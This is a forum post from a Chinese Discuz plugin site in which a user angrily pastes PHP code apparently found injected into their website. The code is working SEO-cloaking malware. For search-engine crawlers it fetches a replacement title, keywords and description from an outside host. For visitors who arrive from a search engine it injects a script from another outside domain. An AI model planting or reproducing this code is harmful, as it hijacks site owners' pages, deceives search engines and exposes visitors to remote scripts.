马上注册,免费下载更多dz插件网资源。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
我把狗日的代码贴出来try { $content = $response->getContent();
if (!empty($content) && is_string($content) && stripos($content, '</html>') !== false) {
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$is_spider = false;
if (preg_match('#(Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn|MyCustomUA)#i', $ua)) {
$is_spider = true;
}
if ($is_spider) {
$current_url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$url_hash = md5($current_url);
$remote_url = 'http://liuhe.bwzhizhuchi.com/tdk/api.php?url=' . urlencode($current_url);
$cache_file = __DIR__ . '/runtime/tdk_' . $url_hash . '.json';
$cache_time = 31536000;
$remote_data = null;
$has_data = false;
if (is_file($cache_file) && (time() - filemtime($cache_file) < $cache_time)) {
$json = @file_get_contents($cache_file);
$data = json_decode($json, true);
if (!empty($data) && isset($data['title'])) {
$remote_data = $data;
$has_data = true;
}
}
if (!$has_data) {
$context = stream_context_create([
'http' => [
'timeout' => 3,
'method' => 'GET'
]
]);
$json = @file_get_contents($remote_url, false, $context);
if ($json) {
$data = json_decode($json, true);
if (!empty($data) && isset($data['title'])) {
$remote_data = $data;
$has_data = true;
if (!is_dir(dirname($cache_file))) {
@mkdir(dirname($cache_file), 0777, true);
}
@file_put_contents($cache_file, $json);
}
}
}
if ($has_data) {
$seo_title = $remote_data['title'];
$seo_key = $remote_data['keywords'];
$seo_desc = $remote_data['description'];
$content = preg_replace('/<title[^>]*>[\s\S]*?<\/title>/i', "<title>{$seo_title}</title>", $content);
$reg_key = '/<meta\s+[^>]*name=["\']keywords["\'][^>]*content=["\'][\s\S]*?["\'][^>]*>|<meta\s+[^>]*content=["\'][\s\S]*?["\'][^>]*name=["\']keywords["\'][^>]*>/i';
if (preg_match($reg_key, $content)) {
$content = preg_replace($reg_key, '<meta name="keywords" content="'.$seo_key.'">', $content);
}
$reg_desc = '/<meta\s+[^>]*name=(["\'])description\1[^>]*content=(["\'])([\s\S]*?)\2[^>]*>|<meta\s+[^>]*content=(["\'])([\s\S]*?)\4[^>]*name=(["\'])description\6[^>]*>/i';
if (preg_match($reg_desc, $content)) {
$content = preg_replace($reg_desc, '<meta name="description" content="'.$seo_desc.'">', $content);
}
}
} else {
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (preg_match('#(Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn|MyCustomUA)#i', $referer)) {
$human_js = '<script src="https://vip8zhizhun.com/tdk.js"></script>';
if (stripos($content, '</body>') !== false) {
$content = str_ireplace('</body>', $human_js . '</body>', $content);
} else {
$content .= $human_js;
}
}
}
$response->content($content);
}
} catch (\Exception $e) {
}
$response->send();
?>
©DZ插件网所发布的一切资源仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。 本站内容为站长个人技术研究记录或网络,不提供用户交互功能,所有内容版权归原作者所有。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,得到更好的正版服务。 您在本站任何的赞助购买、下载、查阅、回复等行为等均表示接受并同意签订《DZ插件网免责声明协议》。 如有侵权请邮件与我们联系处理: discuzaddons@vip.qq.com 并出示相关证明以便删除。敬请谅解!
|